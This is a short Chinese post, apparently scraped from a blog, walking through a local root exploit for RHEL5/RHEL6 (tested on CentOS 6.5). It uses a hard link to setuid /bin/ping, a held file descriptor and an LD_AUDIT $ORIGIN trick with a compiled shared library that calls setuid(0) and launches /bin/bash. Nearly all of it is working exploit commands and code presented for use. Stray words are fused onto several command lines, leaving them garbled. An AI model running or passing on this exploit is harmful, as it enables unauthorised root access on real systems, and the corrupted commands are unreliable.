利用linux漏洞进行提权

RHEL5—RHEL6下均可以提权vim

本人测试环境CenOS6.5:该方法只能用做与有root用户切换到普通用户的环境,若是是普通用户直接登陆在执行最后一步的时候直接退出登陆bash

$ mkdir /tmp/exploit测试

$ ln /bin/ping /tmp/exploit/targetui

$ exec 3< /tmp/exploit/targetspa

$ ll /proc/$$/fd/3get

$ rm -rf /tmp/exploit/it

$ ll /proc/$$/fd/3编译

$ vim payload.c登录

void __attribute__((constructor)) init()gcc

{

    setuid(0);

    system("/bin/bash");

}

编译payload.c

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

相关文章
相关标签/搜索